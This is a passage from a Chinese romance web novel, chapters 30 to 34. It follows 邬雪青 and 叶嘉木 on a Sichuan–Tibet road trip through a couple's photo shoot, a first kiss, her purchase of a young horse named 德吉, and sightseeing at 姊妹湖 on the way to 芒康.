吃着吃着,她突然想到方向阳,随口问了一句:“方向阳怎么样了?现在还在医院吗?” 叶嘉木不动声色咽下去一口汤,抬头看她,“你很关心他?” “就问问而已啊。” “我已经让他包车回成都了。” “哦。”她点点头。 他按下心底那一点不得劲,夹了一块肉放她碗里,“多吃点,长点肉,之后会越来越冷了。” 邬雪青支着下巴,忽然问他:“叶嘉木,你这几年真的就一直没谈恋爱吗?” 他顿了顿,“怎么突然说起这个?” “我觉得你挺会照顾人的,不像没谈过恋爱。”她说。 叶嘉木挑眉,挂上了笑:“你这是吃醋?” 邬雪青不说话,只无所谓地一耸肩。 “我没谈过。”他语气淡了下来,看着她不在意的侧脸,他又说了一遍,“邬雪青,我喜欢一个人,就不会朝三暮四,不会凑合,不会将就。” “啊,说得倒是好听……我很好奇,你说你喜欢我,那你是什么时候开始喜欢的?” 叶嘉木盯着她,久久没有说话。 …… 直到熄了灯,躺上了床,邬雪青脑子里还想着叶嘉木的话。 对她提的那个问题,他说:“不知道,反正我从来没觉得其他人比你更好。” 她抱着枕头在床上打了个滚。 脑子里又冒出了那一句低低沉沉的:邬雪青,我们谈个恋爱吧。 她从来没有谈过恋爱,也不知道恋爱到底应该是什么样,不知道该怎么回答,便选择了沉默。 她很清楚,她一直都活在很真空的玻璃罩内。 见过的恋爱通常就是电视剧那些虐身虐心的情节。 那太夸张了,她当然知道一般人谈恋爱不可能谈成那样。 但如果,要她从身边现实里找对照,她能想到的只有爸妈。 她和邬玉瑾女士相处的时间非常短,和邵项均也并不熟。 别的话,那就是她爸。 他情人多得邬雪青都认不过来。 不明缘由的。 她就是很抵触那样的情人关系。 不否认,最近这段时间和叶嘉木在一起还是快乐更多,可她就是下意识抵触,抵触现在的关系模式发生变化。 抵触更近一步的接触。 大概,是她还不够喜欢他吧。 她想。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 这几天连着赶路,邬雪青都疲了,本想睡个好觉,然而该死的生物钟已经固定,准时八点半,她睁开了眼。 翻个身想接着睡,可酒店的窗帘并不遮光,十分晃眼睛,翻来覆去睡不着,她只能把自己从床上揭起来。 没睡好,一起床就是臭脸。 叶嘉木一大早把车开出去洗了一遍,又加了个油,开车回来,路过石子路,余光瞥见一侧影,披着他眼熟的披肩。 他倒了几米,放下车窗,喊了一声:“殿下?” 坐在遮阳伞下的女人戴着墨镜,长发松松挽成一个丸子头,倚坐着竹编的椅子向远眺望。 听到他的声音,她侧头,拨下墨镜看他。 还真是! 叶嘉木把车停了,从斜坡台阶走上来,拉开她同桌的椅子坐下,“今天怎么还起这么早?” “睡不着。” 她端起咖啡杯抿一口,又放下。 “睡不着就干脆出来喝咖啡?” 他很不见外地端起她的杯子,先是闻了闻,又沿着她的杯印喝了一口。 热的,苦的,还带点酸。 叶嘉木皱了皱眉头。 墨镜遮住了邬雪青翻的白眼,她没好气,“这是我的,你就不能自己点一杯吗?” 叶嘉木本来想玩味说你这杯更好喝,但咂摸一下,这评价实在说不出口,他眉头紧皱地放下杯子,“怎么这么难喝,涮锅水一样。” “黑咖啡,消浮肿的。”她说。 叶嘉木侧头仔细看她,“哪肿了?” “你是瞎子。” “这叫情人眼里出西施。”他摇摇手指,大言不惭。 邬雪青:“……” “过来的时候我看有一家拍民族风写真的店,我觉得你肯定喜欢,你想不想拍?” 邬雪青兴致乏乏,支着下颚吐槽:“我看是你自己想拍吧。” “对啊,出来玩当然要多拍点照片纪念一下。” 他坦然承认,非常理直气壮。 邬雪青满脸“我可不感兴趣”,但还是以“我就是来看看”为由,“心不甘情不愿”地跟着叶嘉木进了写真店。 店里客人还真不少。 店员询问了他们想拍的价位,给了他们一个平板,让他俩先挑挑想拍哪种风格的照片。 邬雪青看了好几套,感觉风格都大差不差,一水的网红风,没什么特别喜欢的。 叶嘉木一眼相中了一套情侣照,喜滋滋问她:“拍这套怎么样?” 样片里女孩手搂在男生肩上,两个人爽朗笑着,好哥们似的,邬雪青扫了一眼,说:“随便。” 叶嘉木拿着平板叫住了团团转的店员,道:“你好,就拍这一套了。” “好的,我们的服装师先带你们去选衣服,待会就可以直接过来化妆做发型了。”店员说。 挑了衣服,藏袍繁复,穿着复杂,邬雪青在服装师捯饬下才把衣服穿好。 还挺厚的,穿上身像捂了一个小太阳。 她低头整理腰带,服装师随手将更衣间的帘子拉开了,道:“小姐,我们可以去化妆了。” “好。” 她一抬头,就撞进了叶嘉木的视线里。 他已经换好了衣服,就站在门外,一看见她,眸光就闪闪亮亮的,一眨不眨地盯着她瞧,满眼的新奇。 邬雪青打量了他一下,他身材健壮,将一身红色藏袍倒是撑得合身笔挺,脸还被晒得黑黑的。 她没忍住,扑哧一下笑得捧腹,“叶嘉木,你现在可真像本地人了!” “这位帅哥穿藏袍很好看啊!很少有人气质这么撑得住的!”服装师满眼都是惊艳。 叶嘉木伸手在邬雪青鼻梁上刮了一下,“彼此彼此,你要是画点高原红,也很像了。” 笑她晒黑了? 邬雪青抬手要打他,“你是不是想死?” 他包住了她虚张声势的小拳头,不畏不惧,依旧满眼的笑意。 这样的写真店化妆都是一条流水线,所有顾客都是标配的四层大白、毛流感眉毛、翘睫毛、卧蚕加下至。 在化妆师准备给她上腻子、刮大白的时候,邬雪青非常后怕地按住了对方的手,道:“不用了,我自己来。” 化妆师盯着她脸看了又看,羡慕道:“你皮肤真好,是天生的吗?” “医美做的。” 邬雪青随口敷衍,挑了一块干净海绵给自己上底妆。 她说这话时一点表情都没有,又天生臭脸,冷冰冰的,拒人千里之外。 化妆师本来还想套套近乎问她都做了什么项目,见她面无表情不想多谈,讪讪地收回了话头。 她妆化得比叶嘉木那边还快,二十分钟极速化了个简妆,接着便低头玩手机,等着造型师给她做发型。 化完妆,叶嘉木用点啫喱简单抓一下头发,造型就做完了。 他转头看,邬雪青那边还在编发辫,造型师把彩色的辫绳织进她长发里,五彩斑斓的。 瞧见她正低头给人发消息,叶嘉木挪着椅子移到了她身边。 “我弄好了。”他说。 邬雪青转头看他,瞧见他脸上一道红痕,愣了下,仔细看,发现是刻意画的伤疤后,她一下笑了。 “你笑什么?”叶嘉木纳闷问。 邬雪青举起手机:“你别动,我给你拍一张。” 叶嘉木大大方方给她拍。 “你看,你脸上这个。” 她把照片转给叶嘉木看。 他点点头,“啧,相当帅。” “……你还能更不要脸一点吗?” 叶嘉木往化妆台上扫了一眼,拿起了一个腮红盘,“你这个妆太不本地了,我给你补点高原红。” 邬雪青一把抓住了他手腕,“你是不是想死?” “补一点,就一点点。”他一脸真诚。 “你把我妆弄毁了我就杀了你。”她咬牙切齿地威胁。 叶嘉木信誓旦旦:“绝对不会。” 邬雪青看着他拿着腮红扑越来越近,还是下意识想往后仰,不信任地盯着他,像随时要咬人的漂亮小猫一样。 粉扑没有落在她脸上,叶嘉木伸手在她粉嫩粉嫩的脸上掐了一把,止不住地笑了起来:“邬雪青,你怎么能这么可爱?” 邬雪青真想咬他,捞起身上抱枕砸他,叶嘉木连连求饶。 化妆师和造型师都一块笑了起来。 这种写真馆有几个专门拍照片的位置,也不远,开车一两公里就到了景点。 今天天气不错,太阳很大,晒得头顶热烘烘的。 他们整个外景拍摄团队就一个摄影师,一个助理,一个化妆师。 邬雪青就没拍过这么草率粗糙的照片,以往她要拍写真,都是提前和好几个团队敲定安排,私人订制,至少有十几二十个人围着她转。 这拍照也像流水线,先拍单人再拍双人,背景就是一条街道,所有顾客都是一两个景。 “女生挽一下男生手臂,好,挽得紧一点。” 摄影师岔着腿,半蹲着,高举着相机对着他们两个人,嘴上喊着:“女生不要板着脸嘛,给一点笑容。” 邬雪青牵起一边嘴角,给了一个皮笑肉不笑的笑容,怪瘆人的。 摄影师默默收回让她笑的话,觉得不笑也行,就当拍组有态度的情侣照。 “坐在这个门槛上,男生搂着女生的肩膀。”摄影师指导。 邬雪青嫌弃地上脏,不肯坐。 她还没开口,叶嘉木先半蹲下身用手掌扫了扫浮尘,拉过邬雪青的手,道:“来坐。” 邬雪青不情愿地坐下了,叶嘉木自然地抬起胳膊搭在她肩上。 她想了想,也抬起手随意地搭在他肩上。 “女生不用搭肩,坐得近一点,女生稍微侧一点头,靠在男生肩膀上,给人很幸福的感觉。” ? 这对吗? 邬雪青立马推开叶嘉木,欻欻挪到了门槛另一角,脸色更臭了。 摄影师愣了一下,放下相机,心道怎么不配合,不喜欢这个动作吗? 被推开,叶嘉木也没有不高兴,他立马挪着腿坐到了邬雪青身侧,手往她肩上一搭,脑袋往她肩上一靠。 “那我靠你。”他大咧咧说。 “死远点,你恶不恶心?” 她抬手推他脸,明明是想瞪他,却忍不住笑了一下。 摄影师立马按快门,飞快抓拍了好几张,“这张好!女生多笑笑,很漂亮的!” 照片里,叶嘉木呲牙乐得像个傻小子,邬雪青伸手推他脸,人往一边躲,脸上却是笑着的。 比刚刚拍的好几张都更像情侣了! 摄影师好不容易拍到一张合适的,也终于松口气笑了。 不过这两个人,光是站在一起就已经很像样片模特了,简 直可以拿去网上做宣传了。 在巷子里拍了一个多小时,邬雪青腿都站麻了,还没拍完,又接着转场去了一个山坡拍。 挺巧,这山坡就是他们昨天骑马的地方,连昨天的马夫都还在山坡上招揽游客。 邬雪青找了把椅子,拿着吸管杯喝了口水。 热死,累死。 额头晒得滚烫,感觉肯定晒红了,她都想不明白自己为什么要来遭这个罪。 还有,叶嘉木不去开车、跑马、爬山就算了,休息一天非要出来拍照这是什么爱好? 这会儿他还又跑去马夫那刷脸借马了。 邬雪青抻长了腿,微抬着下巴看他。 他那两尺厚的脸皮竟然还挺有用,真牵回了两匹马。 算了,也就是看在他最近鞍前马后干了不少事的份上,她勉强配合他一下…… 他招了招手,“殿下,来,上马!” 邬雪青站起身,化妆师立马上前来给她补了补妆。 一回生二回熟,有了昨天的“复习”,她今天已经可以抓着缰绳和马鞍,踩着脚蹬自己上马了。 摄影师非常捧场地在她身后喊了一声:“帅哦!” 马走了两步,邬雪青心里还是有点没底,但脸上绷得看不出一点慌,踩稳马镫,牵紧马绳,马竟然也就停了下来。 很有灵性的一匹马驹,她有些惊喜,伸手摸了摸它的鬃毛。 摄影师抓拍了两张。 或许她自己都没意识到,对待动物时,她脸上的表情总是格外的柔和。 叶嘉木也上了马,走到了她身边,两匹马驹显然感情很好,一走到一起就互相蹭了蹭头。 她还在看马,叶嘉木拉着缰绳,眼里却只有她。 身后是格聂雪山,风将他们衣袍和发带吹起,摄影师的镜头下,他们像草原公主和她的勇士。 一直拍到太阳高照,日头晒得耳朵发疼,防晒喷雾补了好几次也无济于事,邬雪青已经非常想罢工了。 摄影师嘴上说着最后一张,最后一张,央求他们再拍最后一个pose。 “面对面站着,对,男生低一点头,手可以去摸女生的脸。” 邬雪青勉强直起身,叹口气,已经被磨得快没脾气了,只想赶紧拍完,赶紧去卸妆吃饭。 热出来的汗渍让她发丝黏在了鬓角处,叶嘉木低声说:“我帮你弄一下头发。” 他的手指轻轻擦去她脸上的汗水。 明明日光很盛,可邬雪青却觉得眼前暗了下来,是他的影子为她遮住了烈阳。 她抬头看他,对上了他的目光。 像一片安静温柔的湖泊,干干净净的盛着她。 如有一阵雪山吹来的冷风,后背生出的燥意忽然消退了,她的目光从他的眼睛到高耸的鼻梁再到微有些干燥的唇。 他的头越来越低,她能感觉到他呼吸轻轻的麻痒。 他的唇停在她唇上,轻轻的,小心翼翼的试探,直到看见她闭上了眼睛。 像最后悬着的那块石头轻轻掉落进湖泊。 听不见声响,只有一圈一圈的涟漪泛开。 他捧住她的脸颊,轻轻印上了她的唇。 第32章 一个一触即逝的吻,像温凉干燥的风从唇角拂过。 他的鼻尖抵着她的鼻尖。 邬雪青睁开了眼,眼睫像慌张的蝶翼扑朔。 他低低地笑了。 “好热。”她侧开头,错开眼。 叶嘉木扣住了她的手指,温声道:“拍完了,可以休息了。” 他们从草原遥遥处牵手走来,成为风景中最醒目的暖色。 收场前,叶嘉木和摄影师在看拍摄的照片效果图。邬雪青走到马驹旁,摸了摸它的脑袋。 它也凑过头来,用鼻子蹭了蹭邬雪青的肩膀。 这是一匹灰白的马,鬃毛有些打结,用红绳绑了几根小辫,尾巴上还系着彩色的带子,有些年轻的神气。 邬雪青问马夫:“它叫什么名字?” “德吉,”马夫说,“它才四岁。” “德吉真的很乖。” 邬雪青揉着德吉的脑袋和耳朵,有些爱不释手。 “它很喜欢你。”马夫说。 “真的吗?”邬雪青转过头,眼睛亮晶晶的,“我以为是对所有人都这么友好。” 马夫说:“它只喜欢漂亮的人。” 原来还是个颜控! 邬雪青摸摸它脑袋和脖颈。德吉乖顺地看着她,圆睁的眼睛还有大双眼皮,白色的睫毛一眨一眨的,像个漂亮天真的小孩。 “我也很喜欢它。” 如果不是从来没有养过马,她都想把德吉带回家了。 依依不舍告别德吉,回去卸完妆吃饭时,邬雪青心里还总想着那匹漂亮神气的马驹。 见她心不在焉,叶嘉木夹了一块排骨放她碗里,问她:“不喜欢这家餐厅的菜吗?” “没有啊,挺好吃的。” 她回过神。 “那在想什么?” “我在想德吉。” “德吉?”叶嘉木疑惑。 “就是那匹白色的马,它叫德吉,很漂亮。” 叶嘉木点点头,问:“那你下午还想去骑马吗?” 邬雪青却在考虑另一种可能性,她突然说:“你说我把它买回家怎么样?” 没有笑她的异想天开,叶嘉木思索了一会儿,道:“隅州海拔低,高原马不一定能适应,而且隅州没有理塘这么大的草原,就算放在马舍那边养,它的活动范围也很小。” 他说得有道理,这些都是必须考虑的现实条件。 没想到养匹马这么复杂,邬雪青叹口气。 “你要是喜欢马,等回了隅州,我们去马场看看,有些品种马也是非常漂亮的。” 说着,叶嘉木拿出了手机,他划了划,点开马术俱乐部一个教练的微信朋友圈,递给邬雪青道:“你看看,这是隅州一个马场的马。” 马场的马都是精挑细选的训练级和赛季马,无论从品相还是训练表现都是可圈可点的。 邬雪青翻了翻视频和照片,无论是白马、红马还是黑马,都膘肥体壮,一身腱子肉。 和这些比成年男性还高大的马相比,德吉简直是又脏又瘦弱,连和赛级马比较的资格都没有。 她把手机递回给了叶嘉木,“以后再说吧,先吃饭。” 回了酒店,邬雪青做了个晒后修复,敷上面膜,躺在床上长长地喟叹了一声,能躺着可真好。 手机嗡震了两声,她翻过手机看,是叶嘉木把写真店发来的照片传过来了,说可以从八十张照片里选十张合照和十张单人照精修。 邬雪青打着哈欠点开压缩包,入眼第一张,就是亲亲的照片。 她闭上了嘴,立马关了手机,瞪着天花板缓了好一会儿,她才又打开手机看。 其实……拍得还挺好的。 等许久也没有等到邬雪青的回复,想着她可能睡了,叶嘉木也有点犯饭困了,眯着眼睛睡了过去。 邬雪青的确是睡了,她睡了四十多分钟就醒了。 外边是艳阳高照,高原上的阳光像利刃似的,直直地射下,光盯着窗外晒在窗沿上的日光就觉得口渴了。 半梦半醒的,她总能看见德吉那双圆圆的眼睛。 德吉现在在干什么呢? 在休息,还是在背游客? 外面太阳这么大,应该休息了吧。 她躺在枕头上翻来覆去,可总睡不下去了。 外面太阳这么大,她是不可能出去的…… 一个小时后,邬雪青推开出租车的门,一眼看到了站在日头下等待游客的德吉。 马倌在帐篷下休息,张望 着有没有游客想骑马。 她走过去,说:“我找德吉。” 叶嘉木睡了个好觉,接近五点的时候,他醒了,看了下消息,发现邬雪青还没有回复他。 他发了条语音问:“还没睡醒吗?” 过了十几分钟,她才回了一条:我在外面。 叶嘉木:在哪里? 邬雪青发了一个定位过来,她人已经在县外了。 “你怎么跑那里去了?别乱跑,我现在过来。”他回了条语音,从床上弹起来,洗了把脸,拿起车钥匙就往外跑。 他驱车赶到县外,一望无际的草原上有一条极细的小水流蜿蜒往前,他一眼没有看到邬雪青的身影,只有成群的牦牛和羊群在草场上饮水吃草。 他拨了电话过去,手机一直在拨号中,却没有接通。 后视镜照出男人的脸部轮廓,他的颧骨绷得很紧,目光往窗外扫视着。 忽然,他的目光停住了。 黄绿的草坡上,一个女人骑着马从山坡上飞奔而下,她微微俯身,长发被风吹得烈烈往后飞。 叶嘉木的心脏蹦到了嗓子眼,他推门下马,紧紧地盯着她。 下完草坡,她拉紧了马绳,马奔跑的速度慢慢缓了下来,小步朝着公路上这辆醒目车跑过来。 牦牛胆子小,一听到动静就急慌慌地跑开了。草原一阵小骚乱过后,她停在了小水流旁,跳下了马。 德吉低头喝起了水,她抬起手臂朝叶嘉木招了招,又喊道:“拿瓶水!” 叶嘉木那颗差点要从嗓子眼跳出来的心脏这才落回肚子里。 他回车上拿了瓶矿泉水,锁上车,翻过公路旁的围栏,大步朝她走过去。 遮阳帽已经不翼而飞,她的脸颊额头被晒得冒汗发红。 叶嘉木满肚子的话都成了一声长长的叹气。 “学会骑马了?” 他目光打量着她身上,没有看见摔跤的痕迹。 邬雪青手搭在德吉脑袋上,摸了又摸,“我很喜欢它,叶嘉木,我要带它回去。” 他默默回头看一眼自己的车。 邬雪青顺着他的目光看过去,差点笑喷,“你想什么呢!我和助理联系了,会有专机来接德吉的,她还会来理塘办后面的检疫手续。” “你那个助理以前处理过这样的事吗?”他问。 “应该没有吧,不过凡事都有第一次。”她耸肩。 叶嘉木道:“我把一个马场负责人的联系方式推给你,你转给助理,马场那边对运马这些事更有经验。” “谢了。” “价格谈好了吗?”他问。 “一万五,我已经付了五千定金了。”邬雪青说。 这价格倒还可以。 叶嘉木点点头,又问:“那之后是养在马舍还是哪里?” “先放在马舍吧,我爸有个庄园,回头在那边搭个马棚再把德吉放过去。” “我认识一个做高尔夫球场的朋友,他之前想过在那边散养几匹马,你要是愿意的话,还可以放他那边。” “高尔夫球场?”邬雪青眼睛一亮,“你这个主意好,回头我让助理看看有没有那种要出售的球场,可以买下来,专门给德吉住。” “出售的球场很少,不过要找转让的山头倒是更简单一点。” 邬雪青思索着,“倒也可以,等我回去看看。” 看着她认真思考的模样,叶嘉木忽然笑了起来。 “你笑什么?”她问。 他慢悠悠道:“买了一匹马,于是又要买一座山,买了一座山,还要建草场,搭马棚,请人护理……” “那肯定呀,我既然要带它回家,肯定要对它负责。” 他第一次从她脸上看到这样柔软温和的神色,她用手指梳着马鬃,纤长细白的手指全然不在意它身上的脏污。 “我怎么觉得,你现在更喜欢它了?”他语气里带了些吃味。 “对啊,德吉不是一般的小马,它能听懂我的话。” 那我呢?你有多喜欢我?难道我还不够听你的话吗? 叶嘉木这话在心里憋了又憋,没说出来,觉得跟一匹马争风吃醋这事实在不像话。 他皱眉说:“你下午出来了怎么也不和我说?我可以陪你,你一个人骑马多危险。” “你不是休息了吗?有那个马夫教我,我是会骑了才到这边来的。”邬雪青很无所谓。 叶嘉木加重了语气:“你就不怕我担心你吗?” 邬雪青有点烦他的念叨了,挥着马鞭,不耐烦道:“我又不是小孩,有什么好担心的。” 看了她片刻,他又叹气,低头抓住了她手指,“下次如果要一个人出来,至少先和我说一声好吗?你不熟悉这个地方,也不能保证遇到的每一个人都是好人。如果你遇到危险了怎么办,遇到了坏人怎么办?至少要让我知道你去哪了,好吗?” 邬雪青都准备和他吵一架,没想到他突然换了“招数”,来了个以退为进,一下她那些随时能从肚子里掏出来的带刺的话都没了目标,结结实实噎住了。 叶嘉木往前一步,干脆把她按进了怀里。 他直白说:“我知道你很勇敢,也知道你是一个敢想敢做的人,不喜欢被拘束,不害怕未知的可怕,但是雪青,我是你男朋友,我会害怕发生在你身上的一切危险,哪怕只是未知的可能。无论做什么,我都希望能和你一起,如果不能一起,至少我应该要知道你在哪里,好吗?” “……我什么时候承认你是我男朋友了?” 她声音轻轻闷闷的。 “身体承认了。”他说。 她推了推他,嫌弃道:“你还敢更自恋一点吗?” “敢啊,”他摸了摸德吉的头说,“德吉,叫爸爸。” “叶嘉木!!你有病吧!!” 邬雪青耳朵一燥,立马挥拳就要朝他砸过去。 叶嘉木倒退往后跑。 风吹草低,笑声、闹声顺着山脉,云朵,淌进时间的脉络里。 第33章 从理塘出发,往下一站芒康。 经过一天的休整,唐昆和梁襄都恢复了元气,又能上路了。 理塘县地处河谷地带,虽然海拔高,但山脉阻挡,冷空气进入的速度缓慢。 折多山至新都桥路线已经下起了雨夹雪,然而从理塘一路出来,依旧阳光明媚,白云飘飘。 出县城约莫十几公里,邬雪青看见公路旁有条潺潺的河流,水位不高,但水流湍急,在这一望无际的黄绿草色中格外醒目。 她问叶嘉木:“这条河也是雪山上流下来的吗?” “对,这是无量河,源头在格聂神山,它从北向南流,经过理塘、稻城,一直流向云南香格里拉,然后汇入金沙江。” 他们的车一路向前,途径的草原上是低头啃食青草和莜麦的牲畜,天地一片苍茫辽阔,动物们只专注眼下的一方土地,悠然自得。 “好多的牦牛和马啊,”她又问,“那冬天这条河会结冰吗,结冰了以后这些动物上哪喝水?” “现在城里有自来水,冬天也有储备水,数量多的话,牧民会驱赶这些牲畜往无量河中下游去,比如去乡城和稻城的草场。”他又说,“现在理塘县旅游业发展起来了,基础设施也更完善了,五年前我来理塘,大多数还是石头垒的土房子,草原上是石头和毛毡盖起来的窝棚,路也不好走,尘土飞扬,这几年的时间理塘已经面目一新了。” 瞥见草原上有一排排白色整齐的石墩子,她指着那些问:“那一排一排的白色柱子是什么?” “是修铁路的路基,修好以后就可以坐动车进理塘了。” 邬雪青很震惊,“这里现在还没有动车吗?” “过去川藏铁路会穿过理塘,不过是从康定直达林芝,等那条路修好以后理塘就会通车了。西部地区幅员辽阔,总要有先后,慢慢来,这里会一天比一天更好的。” 倒也是这个道理。 不过这几天的感受也不差了,她本来还怕去到那种既没有酒店也没有空调的偏远地方,但从成都一路往西进藏,虽然肉眼可见各个县城的条件拮据起来,但麻雀虽小,也还算五脏俱全。 期待值放得低,反倒觉得这一路过来,也没有她想象的那么差。 比起体验好的酒店,她倒觉得一路的风景和美食更可贵。 川西的美景自然是无可挑剔的,山高云远,碧蓝的天干净得像洗过一样。 就是一路来来往往的大货车作伴,不时扬起一阵扑面 而来的尘土,透一会儿气就得把车窗关起来。 还有就是,邬雪青觉得自己肉眼可见地晒黑了,尤其昨天骑过马后,她露在袖子外的手背和胳膊竟然已经有了色差了。 她把手背反过去给叶嘉木看,“我是不是晒黑了?” 叶嘉木侧头看了一眼,“没有啊,这不是挺白的吗。” “你色盲。”她不大高兴。 他又认真看一眼,“好像是有点晒黑了,你得多涂点防晒,这边的紫外线特别强。” “你先给自己多涂点吧,你都快跟牦牛一个颜色了。” 他屈了下胳膊,说:“我要是牦牛,那也是牛魔王。” 邬雪青白他一眼,“牛哥,好好开车吧!” 越往西藏方向开,能看见的雪山群越来越多,宽阔的草原尽头是负着皑皑白雪的群山。它们下接地,上顶天,沉默无言地注视着天地万物的一切,让人觉得自己格外渺小。 她举着手机拍了一段又一段,只恨自己怎么没带无人机和相机出来。 朔朔的风吹进来,离理塘越远,温度似乎也越来越低了。 她把毯子披在了身上,但还是感觉手冻得拔凉拔凉。 拍过一片雪山,她放下手机朝手心呼气,“好冷啊。” 叶嘉木伸手过来,朝她弯了弯手指。 “干嘛?”她问。 “摸一下你手温。” 她把手背放他掌心贴了一下,“就是刚刚吹风吹的……” 话还没说完,他就一把裹住了她的手,道:“把窗关了,我开空调了。” 吹同样的风,他的手心却还是温热的。 邬雪青有点嫉妒他这个充满阳气的体质,阴阳怪气道:“你是不是发烧了,吹这么久风手还这么烫。” “有可能,你要不要摸摸我额头?” 简直是无赖! 邬雪青抽出自己的手,恶狠狠道:“烧死你!” “唉,小白菜,地里黄,从小没老婆疼……” 邬雪青捏紧了拳头。 要不是他在开车,她绝对把他锤进地里种起来。 “雪青,现在已经能看到海子山了,之后就是一路下坡,穿过海子山和姊妹湖,马上就到巴塘了。”他说。 说起正事时,他的声音总是格外温和沉稳,叫人不由自主的信服。 “为什么叫海子山?这儿以前是海吗?”她一下被转移了注意力。 “在藏语里,海子的意思就是湖泊。海子山有以前的冰川遗址,现在还有上千个高原湖泊,所以这片山就被叫做海子山。” 邬雪青思维发散,忽然想到说:“想起了千岛湖,水库建成后山陵被淹没,露出湖面的部分就变成岛,有了一千多个岛后,就有了千岛湖的名字。” “你看,一个是沿海东部,一个是四川西部,一东一西,民族文化不同,语言也不同,但在取名却很异曲同工,是不是很有意思。” “说完了海子山,那姊妹湖呢?路上能看到吗?”邬雪青兴致勃勃问。 “能,马上就能看到了。” 叶嘉木说着,按下对讲机通话,道:“唐昆,梁襄,海子山这块海拔比较高,你们有没有什么不舒服的?” 过了几秒钟,对讲机咋咋的传回后车声音。 唐昆说:“没有没有,我和梁哥现在状态一切OK,基本适应这边海拔了,您放心。” 叶嘉木便道:“好,前面就是姊妹湖观景台了,那我们停车休息十五分钟。” 隔着一公里的距离,邬雪青就看见两片碧蓝的湖泊了。 两块湖泊相隔很近,落在群山中,就像两块照映天空色彩的镜子。 车停在观景台处,邬雪青下车,站在高台上往下看,一时美得心悸无语。 姊妹湖的风景叶嘉木已经看过了春夏秋冬。 但只有这一次拍下的照片,对他而言,最值得纪念。 因为她在风景中,她在他眼前。 唐昆和梁襄两个小伙已经“呜呼”喊着朝着观景台下奔去,像两匹撒了欢的马驹。 “下去看看吗?”他问邬雪青。 她回过神,看看下面那条布满碎石头的路,有点犹豫。 叶嘉木把相机往脖子上一挂,先跨了下去,回头朝她伸手道:“来,我在这,怕什么?” 邬雪青握住了他的胳膊,把他当拐杖使。 他笑道:“也行。” 走下小土坡,直接能走到姊妹湖边。 邬雪青好奇地蹲下身捧了把水,冰得一个激灵。 简直像把手插进冰里。 果然是只可远观不可亵玩。 她赶紧洒了水,搓了搓拔凉的手。 叶嘉木就站在她身后,嘴上喊着“悠着点,可别掉下去了”,手上还举着相机在拍。 邬雪青坏心思上头,坏笑着朝他走过去,一把将冰凉的手伸进了他脖颈下。 呜呼,舒服。 滚烫的体温让她冻僵的手也找回了一点温度。 叶嘉木冷“嘶”一声,握下了她的手,牵着揣进了兜里,他理论道:“你把我冻病了,谁给你开车?” 她撇撇嘴,“那就再请个司机呗。” “这堆山窝窝里,你只能去山上问人家牛和马愿不愿意给你当司机。”他把她两只冰凉的手都揣进兜里捂住后,低头问她,“生理期结束了吗?待会会不会又肚子疼?” “早差不多了,你管得好宽。” “你这就叫狗咬吕洞宾,不识好人心。” 邬雪青掐了他腰肉一把,叶嘉木又痛哼一声,把她两只手都包圆了捂住。 湖边还有点小冷风,刮得人脸皮冰凉冰凉的。 叶嘉木把她裹进怀里捂着,扬扬下巴道:“你看,那边的海子山,也就是雅拉雪山主峰,是姊妹湖的发源地,姊妹湖也是海子山成千湖泊的其中之二。” 他的呼吸和声音在她耳边,温热的、温和的,周遭是雪原,他就像一个安全而温暖的堡垒,紧紧地将她裹在怀里。 她觉得不应该贪图此刻片刻的享受,却又生不出将他推开的动力。 心脏像被一床热且柔软的羊毛毯子裹住,连跳动的速度都变得缓慢而绵长。 “还冷不冷?”他问她。 邬雪青摇了摇头。 叶嘉木弯下腰,把下巴掂在她肩膀上,声音温温润润的,他说:“我也不冷。” 邬雪青没再说话,她抬了抬下巴,透过他的肩膀往后看。 她看见梁襄站在草甸里,久久地望着雅拉雪山。 意识到她的目光,梁襄那冷寂如深潭般的眼睛多了点客气又揶揄的笑意,朝她示意地笑了一下。 邬雪青脖颈有点烧烫了起来,她推了推叶嘉木,道:“行了,差不多了,该回车上了。” 叶嘉木牵着她的手不肯松。 另一侧唐昆像是返祖了一样,朝着湖泊和群山“啊啊”地大喊起来,打破了所有暧昧氛围。 “叶总,能帮我拍张照片吗?”梁襄走过来问。 邬雪青见机把自己手拔了出去,先替叶嘉木应道:“当然可以,你们拍吧,我先回车上了。” 趁热意还没烧上脸颊,她兔子似地小步朝山坡上跑了去。 目送她跑回了车旁,叶嘉木看向梁襄:“行,我给你拍,你想拍哪种,半身的还是全身的。” “全身的吧,”梁襄指指后面的雪山,“我想拍和那个雪山的合照。” “好。” 叶嘉木往后退两步,给梁襄拍了几张和雪山合影的全身照。 梁襄道:“谢谢,能不能麻烦您待会把照片传给我?” “可以,我回头从电脑上导给你。”叶嘉木回头又招呼唐昆,“小唐,上车了!” “哎,好!” 一块顺着土坡往车上走,梁襄和叶嘉木说:“据说藏族有个传说,相爱的人只要登上雪山,向雪山女神祈祷,就会消除所有坎坷,幸福地在一起。” 叶嘉木有点意外:“你还信这个?” 梁襄笑笑:“我爱人以前很信。” 山坡上,邬雪青放下车窗,趴在窗口朝叶嘉木喊了声:“你是不是腿短,能不能走快点,蚂蚁都被你踩死了。” 故意挑衅呢。 叶嘉木迈开腿,三两步就迈上坡,在她把车窗关上前,伸手进去狠狠掐了把她的脸颊。邬雪青吱哇叫。 梁襄看着,笑了出来。 第34章 下午五点多,抵达芒康县如美镇,四人成功和大部队会师。 大部队有二十几个人,直接包下了如美镇一家酒店的所有房间,其中绝大部分是广告公司的员工,除此外有三个跟组模特,还有叶嘉木公司的产品经理和内容运营。 邬雪青和他们一块吃了个饭,简单认识了下,打个照面寒暄过后一群人就聊起了工作。 从他们的聊天中,邬雪青知道之所以着急赶在十月前进藏一个是这时候雨季已经结束,冬季尚未来临,天气晴朗,另一个是为了避开了国庆的大堵车。 其他一些广告脚本上的东西,她听得不太明白,也就只管吃自己的饭了。 吃过饭,回房间短暂休息半个小时,一帮人准备去会议室开会。 当然,这都和邬雪青没关系。 她对开会并不感冒,宁可躺在沙发上晒太阳。 叶嘉木把最好的套房留给了她。房间采光极好,小客厅的三面大采光窗正好能看见流经的澜沧江,还有一个小露台,同样能看风景。 套房内空调、浴缸、电视,一应俱全,丝毫不窘迫。 落日余晖落在她面前的茶几上,邬雪青懒洋洋躺靠在沙发软榻内,能听到窗外潺潺的水流声。 房间外过道有人走动的声音,十来分钟后,声音渐渐都小了,大概是所有人都去开会了。 她拿了一本房间里的地理杂志看,翻着翻着就有点困了。 杂志盖在脸上,她正准备眯会儿,手机响了。 “喂……”她接通了电话,放在耳边,声音困倦。 